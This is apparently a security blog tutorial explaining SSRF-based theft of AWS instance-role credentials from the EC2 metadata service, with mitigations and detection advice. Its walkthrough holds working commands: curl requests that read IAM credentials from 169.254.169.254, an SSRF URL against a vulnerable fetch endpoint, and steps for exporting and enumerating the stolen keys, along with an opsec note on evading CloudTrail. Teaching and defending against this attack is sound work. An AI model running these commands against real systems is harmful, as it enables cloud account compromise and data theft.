Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Every EC2 instance can query a local, non-routable HTTP service at 169.254.169.254 — the Instance Metadata Service (IMDS) — to learn about itself: its instance ID, AMI, network configuration, user-data script, and, if it has an IAM instance profile attached, temporary AWS credentials for the associated role. This is a deliberately convenient design: it lets software running on the instance authenticate to AWS APIs without ever embedding a long-term access key. The problem is that convenience for the instance’s own software becomes a liability the moment anything on that instance can be tricked into making an HTTP request on an attacker’s behalf.
Server-Side Request Forgery (SSRF) is the near-universal delivery mechanism: a web application that fetches a URL supplied by the user — for image proxies, webhook validators, PDF generators, or any “fetch this link” feature — can be pointed at 169.254.169.254 instead of an external host. If the request succeeds, the attacker receives the instance role’s temporary credentials in the response body, and can then use them from *outside* the network entirely. This single primitive turned SSRF from an internal-request curiosity into a full cloud-account compromise vector, and was the root cause of the 2019 Capital One breach, one of the largest cloud data breaches on record.
Attack Prerequisites
Prerequisites differ slightly for direct instance access versus remote SSRF:
- An HTTP-capable foothold that can reach the link-local address — either shell access on the instance itself, or an SSRF/XXE/open-redirect vulnerability in a web application running on an EC2 instance (or in ECS on EC2, which shares the same metadata path unless task-level IMDS access is blocked).
- IMDSv1 enabled, or the ability to forge the IMDSv2 token flow — IMDSv1 answers unauthenticated GET requests directly; IMDSv2 requires a
PUTto obtain a session token first, which is a much stronger SSRF barrier because most SSRF primitives can only control the request method/headers loosely, if at all. - An IAM instance profile attached to the instance — without one, IMDS still leaks instance/network metadata but there are no credentials to steal at
iam/security-credentials/. - A metadata hop limit that allows the request to reach IMDS — for SSRF specifically,
HttpPutResponseHopLimitmust be 2 or more for the request to succeed when it is proxied through the application (a hop limit of 1 blocks metadata requests that traverse a container network layer).
How It Works
IMDS is reachable only from within the instance’s own network namespace at the link-local address 169.254.169.254, which is why AWS considered it implicitly trusted for years: nothing outside the instance can route to it directly. IMDSv1 exposes metadata as simple unauthenticated GET requests — GET /latest/meta-data/iam/security-credentials/ lists any attached role name, and appending the role name returns a JSON blob with an AccessKeyId, SecretAccessKey, Token, and expiration, exactly the shape of a normal STS AssumeRole response. Because this is a bare GET with no custom header or body, it is trivially reachable through almost any SSRF primitive, including ones that only control a URL.
IMDSv2, introduced after the Capital One breach, closes this specific gap by requiring a session-oriented token: the caller must first send a PUT to /latest/api/token with an X-aws-ec2-metadata-token-ttl-seconds header, then include the returned token as X-aws-ec2-metadata-token on every subsequent metadata GET. Most classic SSRF primitives (a URL field fetched via curl/requests/an image library) cannot set a custom HTTP method or arbitrary headers, so requiring the PUT verb plus a custom header eliminates most naive SSRF-to-credential-theft chains even though the underlying trust model — anything that can reach the address gets the credentials — is unchanged.
The other structural defense is the hop limit on the metadata response, HttpPutResponseHopLimit. When a request to IMDS is proxied through an additional network hop — most commonly a container’s virtual network interface — the response can be dropped before reaching the destination if the hop count is exhausted. Setting the hop limit to 1 is a meaningful mitigation for containerized workloads on EC2, since a compromised container process one hop from the host network namespace still cannot reach the instance’s own IMDS.
Vulnerable Code / Configuration
The underlying misconfiguration for classic SSRF-to-IMDS is simply IMDSv1 left enabled at the instance metadata options. This is the vulnerable state as shown by describe-instances — HttpTokens set to optional means both the tokenless v1 GET and the tokened v2 flow are accepted:
{
"MetadataOptions": {
"State": "applied",
"HttpTokens": "optional",
"HttpPutResponseHopLimit": 2,
"HttpEndpoint": "enabled"
}
}
JSON"HttpTokens": "optional" is the crux of the bug: any request that omits the X-aws-ec2-metadata-token header is still served, so a simple SSRF GET succeeds exactly as it would against a v1-only instance. The hop limit of 2 additionally means a request proxied through one intermediate hop (e.g. a container network layer) will still reach IMDS and receive a response. The fix is to enforce "HttpTokens": "required" (IMDSv2-only) and drop the hop limit to 1 unless a specific containerized workload has a documented need for 2.
The application-layer half of the bug is the vulnerable fetch code itself — an image-proxy endpoint that fetches a user-supplied URL with no allow-list or destination validation:
# VULNERABLE: no scheme/host/IP validation on user-supplied url
@app.route('/fetch-preview')
def fetch_preview():
target_url = request.args.get('url')
resp = requests.get(target_url, timeout=3)
return resp.content
# Attacker request:
# GET /fetch-preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AppRole
PythonBecause the server-side requests.get call happily follows any URL including the link-local metadata address, and the instance profile role is reachable over plain IMDSv1, this single endpoint is enough to fully exfiltrate the instance’s AWS credentials to a remote attacker.
Walkthrough / Exploitation
With direct shell access on an IMDSv1-enabled instance, credential theft is a one-liner — no token, no special header:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AppRole
BashAgainst an IMDSv2-enforced instance, the same shell access still works — the attacker performs the token handshake first:
TOKEN=$(curl -X PUT 'http://169.254.169.254/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 60')
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/AppRole
BashVia SSRF against the vulnerable Flask endpoint above, the attacker never touches the instance directly — the request is sent remotely and the application server does the fetching on the attacker’s behalf:
curl 'https://target.example/fetch-preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AppRole'
BashOnce the AccessKeyId/SecretAccessKey/Token triple is exfiltrated, it is exported and used exactly like any other set of temporary credentials, from the attacker’s own machine, with whatever permissions the instance role carries:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
python3 enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID \
--secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN
BashFrom there the same IAM privilege-escalation primitives covered elsewhere on this blog (iam:PassRole, iam:CreatePolicyVersion, over-broad trust policies) apply directly, since the stolen credentials are simply the instance role’s normal STS session.
Note: IMDSv2 is a mitigation, not an SSRF fix — it raises the bar for the *credential-theft* leg by requiring a
PUTand a custom header, both of which a sufficiently capable SSRF (one controlling method and headers) can still forge. Pair it with fixing the underlying SSRF and tight instance-role scoping.
Opsec: IMDS credential retrieval is generally invisible in CloudTrail itself — CloudTrail logs the *subsequent* API calls made with the stolen credentials, not the metadata GET. Defenders instead rely on GuardDuty’s
InstanceCredentialExfiltrationfinding, which correlates instance-role API usage from an IP outside the AWS network.
Detection and Defense
IMDSv2 enforcement plus tight instance-role scoping closes off nearly all of this attack path; the remaining detection burden is watching for credential use from unexpected locations:
- Enforce IMDSv2 account-wide — set
HttpTokens: requiredon every launch template/instance and use an SCP or AWS Config rule (ec2-imdsv2-check) to prevent new instances from launching with v1 enabled. - Set
HttpPutResponseHopLimitto 1 unless a specific containerized workload genuinely needs metadata reachable through an extra network hop. - Scope instance role permissions tightly — least privilege here directly bounds the blast radius of a successful IMDS credential theft, since the stolen credentials can only do what the role allows.
- Fix SSRF at the application layer — allow-list destination hosts/schemes for any server-side fetch, block requests to link-local (
169.254.0.0/16) and RFC 1918/loopback ranges, and disable HTTP redirects on the fetching client so a “safe” URL cannot 302 to the metadata address. - Consider IMDS-less alternatives — disabling
HttpEndpointentirely, or routing credential retrieval through a broker, removes the target for workloads that don’t need on-box AWS API access. - Monitor with GuardDuty for
InstanceCredentialExfiltrationfindings and instance-role API calls from non-AWS source IPs.
Real-World Impact
The 2019 Capital One breach — roughly 100 million customer records exposed — is the canonical case study: a misconfigured web application firewall was tricked via SSRF into requesting IMDSv1 credentials for an over-privileged role, later used to enumerate and exfiltrate data from S3. That single incident is the direct reason AWS built and shipped IMDSv2, and it remains the standard reference point whenever SSRF findings in cloud-hosted applications are triaged for severity.
Conclusion
SSRF-to-IMDS is one of the clearest examples in cloud security of a convenience feature becoming a critical attack path once it intersects with an unrelated application bug. IMDSv2 and a hop limit of 1 remove the easy path, but they are mitigations for the SSRF’s *consequence*, not the SSRF itself — fixing the vulnerable fetch logic and scoping instance roles to least privilege are what actually bound the damage when the next SSRF, inevitably, gets found.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments